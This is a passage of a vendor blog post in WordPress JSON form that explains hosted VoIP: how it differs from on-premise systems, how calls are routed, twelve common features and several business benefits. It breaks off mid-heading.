{"id":4227,"date":"2024-01-03T11:23:35","date_gmt":"2024-01-03T11:23:35","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=4227"},"modified":"2025-09-05T11:09:01","modified_gmt":"2025-09-05T11:09:01","slug":"hosted-voip","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/","title":{"rendered":"What is Hosted VoIP? Benefits, Features &#038; Top Providers"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Steve Jobs once said, &#8220;Innovation distinguishes between a leader and a follower.&#8221; In today&#8217;s modern communication world, Hosted VoIP stands as a pioneer. Those bulky on-premise telephony systems are now a thing of the past, Hosted VoIP has grabbed the spotlight. <\/span><b><i>The latest market assessment estimates that the projected market size of the VoIP industry is expected to reach $183.7 billion by 2027.<\/i><\/b> <b><i>And when it comes to the average savings when switching to VoIP, <\/i><\/b><b><i>figures come between 50-75%. <\/i><\/b><span style=\"font-weight: 400;\">These mind-boggling numbers make us believe that VoIP is here and is going to stay for decades ahead.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Want to learn more about hosted VoIP? In this article, I\u2019ll explain the concept of Hosted VoIP, how it is different from on-premise telephone systems, and illustrate different types of businesses that can benefit from hosted VOIP and of course the best hosted VoIP providers.\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let\u2019s begin!\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4ee7b2a34\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4ee7b2a34\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#What_is_Hosted_VoIP\" title=\"What is Hosted VoIP?\">What is Hosted VoIP?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Hosted_VoIP_vs_On-premise_VoIP\" title=\"Hosted VoIP vs On-premise VoIP\">Hosted VoIP vs On-premise VoIP<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#1_Location_of_the_VoIP_Infrastructure\" title=\"1. Location of the VoIP Infrastructure\">1. Location of the VoIP Infrastructure<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#2_Who_Manages_the_VoIP_Infrastructure\" title=\"2. Who Manages the VoIP Infrastructure?\">2. Who Manages the VoIP Infrastructure?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#3_Associated_Costs\" title=\"3. Associated Costs\">3. Associated Costs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#4_Suitability\" title=\"4. Suitability\">4. Suitability<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#How_Does_Hosted_VoIP_Work\" title=\"How Does Hosted VoIP Work?\">How Does Hosted VoIP Work?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Transitioning_from_PBX_to_Hosted_VoIP\" title=\"Transitioning from PBX to Hosted VoIP\">Transitioning from PBX to Hosted VoIP<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#12_Useful_Features_of_Hosted_VoIP\" title=\"12 Useful Features of Hosted VoIP\">12 Useful Features of Hosted VoIP<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#1_Auto-Attendant\" title=\"1. Auto-Attendant\">1. Auto-Attendant<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#2_Call_Queue\" title=\"2. Call Queue\">2. Call Queue<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#3_Instant_Messaging\" title=\"3. Instant Messaging\">3. Instant Messaging<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#4_Advanced_Call_Routing\" title=\"4. Advanced Call Routing\">4. Advanced Call Routing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#5_Toll-Free_Phone_Numbers\" title=\"5. Toll-Free Phone Numbers\">5. Toll-Free Phone Numbers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#6_Call_Transfer\" title=\"6. Call Transfer\">6. Call Transfer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#7_Call_Forwarding\" title=\"7. Call Forwarding\">7. Call Forwarding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#8_Voicemail-to-Email\" title=\"8. Voicemail-to-Email\">8. Voicemail-to-Email<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#9_Built-in_Call_Analytics\" title=\"9. Built-in Call Analytics\">9. Built-in Call Analytics<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#10_Call_Recording\" title=\"10. Call Recording\">10. Call Recording<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#11_Audio_and_Video_Conferencing\" title=\"11. Audio and Video Conferencing\">11. Audio and Video Conferencing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#12_Softphone_App\" title=\"12. Softphone App\">12. Softphone App<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Benefits_of_Hosted_VoIP\" title=\"Benefits of Hosted VoIP\">Benefits of Hosted VoIP<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#No_Expensive_Equipment_Installation_Significant_Cost_Savings\" title=\"No Expensive Equipment Installation = Significant Cost Savings\">No Expensive Equipment Installation = Significant Cost Savings<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Supports_Third-Party_Integrations\" title=\"Supports Third-Party Integrations\">Supports Third-Party Integrations<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Enhanced_Business_Communication\" title=\"Enhanced Business Communication\">Enhanced Business Communication<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Higher_Scalability_Better_Growth\" title=\"Higher Scalability = Better Growth\">Higher Scalability = Better Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Better_Access_to_Data\" title=\"Better Access to Data\">Better Access to Data<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Easy_to_Install\" title=\"Easy to Install\">Easy to Install<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Minimal_Downtime\" title=\"Minimal Downtime\">Minimal Downtime<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#7_Types_of_Businesses_that_can_Benefit_from_Hosted_VoIP\" title=\"7 Types of Businesses that can Benefit from Hosted VoIP\">7 Types of Businesses that can Benefit from Hosted VoIP<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#1_Small_to_Medium_Sized_Businesses\" title=\"1. Small to Medium Sized Businesses\">1. Small to Medium Sized Businesses<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#2_Remote_and_Distributed_Teams\" title=\"2. Remote and Distributed Teams\">2. Remote and Distributed Teams<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#3_Customer_Support_and_Call_Centers\" title=\"3. Customer Support and Call Centers\">3. Customer Support and Call Centers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#4_Professional_Services\" title=\"4. Professional Services\">4. Professional Services<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#5_Hospitality_Services\" title=\"5. Hospitality Services\">5. Hospitality Services<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#6_Educational_Institutions\" title=\"6. Educational Institutions\">6. Educational Institutions<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#7_Healthcare_Services\" title=\"7. Healthcare Services\">7. Healthcare Services<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Top_10_Hosted_VoIP_Providers\" title=\"Top 10 Hosted VoIP Providers\">Top 10 Hosted VoIP Providers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/hosted-voip\/#Migrating_to_Hosted_VoIP\" title=\"Migrating to Hosted VoIP\">Migrating to Hosted VoIP<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_Hosted_VoIP\"><\/span>What is Hosted VoIP?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Hosted Voice over Internet Protocol is a type of communication service where VoIP is deployed with the help of Internet cloud technology. This type of communication service is managed and provided by a third-party vendor. Think of it like this: hosted VoIP services transform your internet into a magic tunnel for your calls and data.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You as a \u2018Customer\u2019 do not need to invest in any expensive hardware, unlike the traditional analog-based telephone systems. You just need to ensure the availability of a high-speed internet connection- DSL<\/span><span style=\"font-weight: 400;\">, cable, fiber, and 4G\/5G cellular data <\/span><span style=\"font-weight: 400;\">which most businesses already have. Along with that, you will need a softphone or IP Phone or you can also use web-based access to use hosted VoIP services.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Hosted_VoIP_vs_On-premise_VoIP\"><\/span>Hosted VoIP vs On-premise VoIP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">There are 4 primary differences between hosted VoIP and On-premise VoIP:<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"1_Location_of_the_VoIP_Infrastructure\"><\/span>1. Location of the VoIP Infrastructure<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In the hosted VoIP setup, the infrastructure is located offsite i.e. at the service provider\u2019s location.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In the on-premise VoIP setup, the infrastructure is located \u2018in-house\u2019 i.e. within the premises of the business or client entity.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"2_Who_Manages_the_VoIP_Infrastructure\"><\/span>2. Who Manages the VoIP Infrastructure?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In the case of hosted VoIP, the service is managed by the provider only. From maintenance, updates, and upgrades &#8211; all is done by the service provider.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">On-premise VoIP setup is handled by the business or the customer entity itself. It requires dedicating IT resources to manage the system.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"3_Associated_Costs\"><\/span>3. Associated Costs<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP models are typically subscription-based. This means you can pay-as-you-go while using the service monthly or yearly. The initial investment is minimal because there\u2019s no hardware setup required. Hosted VoIP models are more affordable.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">On-premise VoIP systems demand extensive upfront investment from the business. Besides hardware, other costs like software licensing are also to be borne by the business.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"4_Suitability\"><\/span>4. Suitability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">It is often considered that on-premise VoIP is more suitable for large business setups that need more control over their communication infrastructure and have sufficient resources to manage it.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Hosted VoIP comes as an ideal solution for small to medium-sized businesses. Even with limited resources, SMBs can comfortably afford hosted VoIP by paying monthly or yearly service fees.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Does_Hosted_VoIP_Work\"><\/span>How Does Hosted VoIP Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4230 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/how-voip-workss.jpg\" alt=\"how voip workss\" width=\"738\" height=\"469\" \/><\/p>\n<p><span style=\"font-weight: 400;\">I will explain this with the help of an example.\u00a0<\/span><\/p>\n<p><b>Picture this:<\/b><span style=\"font-weight: 400;\"> You subscribed to a hosted VoIP service. Now you are making a call using this service. As you speak, your voice is converted into digital packets and transmitted over the internet to your service provider\u2019s server. From there, your provider routes and connects your call with the recipient\u2019s phone provider (landline or VoIP). This way your call reaches the intended recipient.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Similarly, when you receive a call, the process works in reverse. All this happens within seconds and results in a smooth flow of voice calls and data transfer.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transitioning_from_PBX_to_Hosted_VoIP\"><\/span>Transitioning from PBX to Hosted VoIP<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">If a company or a business already has a PBX system and wants to switch to hosted VoIP, then they may choose to integrate both technologies. Hosted PBX and Hosted VoIP can work together in a complimentary manner to deliver a robust and feature-rich communication system. Businesses can retain their existing PBX system while leveraging the benefits of hosted VoIP.\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Like the hosted VoIP, Hosted PBX is also maintained and managed in the cloud by a service provider. PBX solutions offer features like call routing, extensions, voicemail, etc. On the other hand, hosted VoIP offers a broader range of features <\/span><span style=\"font-weight: 400;\">voice calls, video calls, messaging, and collaboration tools.<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For seamless and successful integration, the configuration of the two systems is done. This <\/span><span style=\"font-weight: 400;\">may include setting up SIP trunking to connect the PBX to the VoIP network.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"12_Useful_Features_of_Hosted_VoIP\"><\/span>12 Useful Features of Hosted VoIP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4232 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/key-features-of-hosted-voip.jpg\" alt=\"key features of hosted voip\" width=\"750\" height=\"568\" \/><\/p>\n<p><span style=\"font-weight: 400;\">It is important to learn about the features of a product or service before buying it. A business relies heavily on communication infrastructure for its smooth working. Your choice of hosted VoIP will lay the foundation of your business communication. By learning about the features, you can avoid investing in a product that doesn\u2019t align with your business requirements. So let\u2019s take a look at the top 11 features of hosted VoIP:<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"1_Auto-Attendant\"><\/span>1. Auto-Attendant<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">An auto-attendant can be considered as a virtual receptionist. It greets the caller, provides them with a menu, and directs them to an appropriate team or agent. Let\u2019s say, you dial a business phone number and you hear a recorded message saying \u201cWelcome to ABC Company! Press 1 for Sales, Press 2 for Billing, Press 3 for Support, \u2026.\u201d. That\u2019s how an auto attendant guides a caller.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"2_Call_Queue\"><\/span>2. Call Queue<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">When customer support agents are occupied with other calls, then the call queueing system keeps the latest incoming calls on hold. The system maintains a queue so that the calls are answered in the order they were received. The call queue feature informs the waiting calls about their queue position and estimated waiting time as well.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"3_Instant_Messaging\"><\/span>3. Instant Messaging<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Users can chat with each other one-on-one or in groups using the IM feature. Such quick and direct chats help in sharing information, files, and multimedia documents rapidly in a work environment.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"4_Advanced_Call_Routing\"><\/span>4. Advanced Call Routing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The call routing feature works on a predefined set of rules or criteria. Incoming calls are directed based on the time of the day, agent availability, IVR inputs made by the caller, etc. For example, calls that arrive after office hours are directed to another support team in a different location.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"5_Toll-Free_Phone_Numbers\"><\/span>5. Toll-Free Phone Numbers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Toll-free phone numbers are a popular way for customers to reach businesses without incurring any charges (the charges for incoming calls are covered by the business). These numbers usually appe<\/span><span style=\"font-weight: 400;\">ar like <\/span><span style=\"font-weight: 400;\">1-800-XXX-XXXX.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"6_Call_Transfer\"><\/span>6. Call Transfer<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The beauty of VoIP is that it lets you transfer active calls from one person to another or from one device to another without the call getting interrupted. For instance, an office receptionist might transfer an incoming call to a specific department.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"7_Call_Forwarding\"><\/span>7. Call Forwarding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">With this feature, calls can be forwarded from one phone number to another or one device to another. For example, an employee, who is currently out of the office, can forward calls from the office phone number to his personal mobile number so that no important calls are missed.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"8_Voicemail-to-Email\"><\/span>8. Voicemail-to-Email<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Your voicemail messages are sent as audio files or transcriptions to your desired email inbox. Imagine the convenience of having the voicemail recording or written transcription &#8211; messages can be managed quite easily.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"9_Built-in_Call_Analytics\"><\/span>9. Built-in Call Analytics<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This feature provides insights into call metrics. For example, call center managers can use these analytics to identify peak call volume time as well as to evaluate the performance of the agents.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"10_Call_Recording\"><\/span>10. Call Recording<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">One of the most useful features of hosted VoIP systems is call recording. All the incoming and outgoing conversations get recorded and stored in the system. Managers can use these recordings for quality, training, and compliance purposes.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"11_Audio_and_Video_Conferencing\"><\/span>11. Audio and Video Conferencing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This one is a must-have feature. Multiple participants can join in audio and video conference calls which is very helpful in internal business communication. They can share screens, and send and receive documents in the group. Extremely useful in conducting virtual meetings.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"12_Softphone_App\"><\/span>12. Softphone App<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP systems usually offer a softphone app so that users can access the system and its features from their smartphones. Such an app is available for major platforms like iOS, Android, and Windows.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Benefits_of_Hosted_VoIP\"><\/span>Benefits of Hosted VoIP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4231 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/benefits-of-hosted-voip.jpg\" alt=\"benefits of hosted voip\" width=\"751\" height=\"591\" \/><\/p>\n<p><span style=\"font-weight: 400;\">When you are switching to Hosted VoIP you are not just moving from your traditional Telephone System to the Cloud, but you also gain several benefits, which are described below:<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"No_Expensive_Equipment_Installation_Significant_Cost_Savings\"><\/span>No Expensive Equipment Installation = Significant Cost Savings<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Do you agree with the fact that money matters when you buy anything? You surely do! The best part of opting for hosted VoIP is that you don\u2019t have to make hefty investments in equipment installation. Everything is hosted off-site, and all of the maintenance responsibility is on the VoIP provider. You just need to pay a monthly or annual subscription fee to the vendor.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Supports_Third-Party_Integrations\"><\/span>Supports Third-Party Integrations<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Probably you are already using a bunch of tools to manage and operate your business. This can be CRM software, an email management tool, or other project management software. You can simply integrate your Hosted VoIP system with all such business tools so that everything works just aligned and fine. While such integration is also possible in the case of conventional telephone systems, you will need to put in extra hardware and specialized software for that purpose. In the case of hosted VoIP, integration can be done digitally which is simple and easy.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Enhanced_Business_Communication\"><\/span>Enhanced Business Communication<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">You have already learned about the plethora of features that VoIP offers. With access to features like Instant Messaging, Conferencing, Call Recording, etc., the business workflow gets extremely enhanced. Just imagine how quickly and comfortably colleagues can collaborate to accomplish their project goals using these features.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Higher_Scalability_Better_Growth\"><\/span>Higher Scalability = Better Growth<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Another significant advantage of VoIP is that compared to on-premise solutions, they offer more scalability. As your business grows, VoIP easily scales to accommodate additional users, lines, or phone numbers. Even in case when you want to scale down, VoIP lets you do that with ease. And on top of that, all this can be done rapidly, just within a few minutes.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Better_Access_to_Data\"><\/span>Better Access to Data<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">You want to offer a great service to your customers. But how do you do that? First, you need to understand your customers as well as the performance of your agents. VoIP systems offer business insights into call volume, peak times, and customer behavior. These can be your key metrics to make informed decisions and enhance customer service.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Easy_to_Install\"><\/span>Easy to Install<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP systems are accessible through user-friendly interfaces. One doesn\u2019t need any extensive technical knowledge to operate these systems. Some of the most general steps to get started include creating an account with the VoIP provider and exploring the functions straightforwardly. Your vendor may also provide you with friendly how-to guides.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Minimal_Downtime\"><\/span>Minimal Downtime<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP systems are always On. Yes, most of the reliable hosted VoIP providers offer a 99.99% uptime guarantee in their SLA (Service Level Agreement). The best part is that they also offer a Disaster Recovery Plan. This is a lot helpful if in case your service gets affected due to any reason, they will shift the system to another server, which hardly happens within seconds.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"7_Types_of_Businesses_that_can_Benefit_from_Hosted_VoIP\"><\/span>7 Types of Businesses that can Benefit from 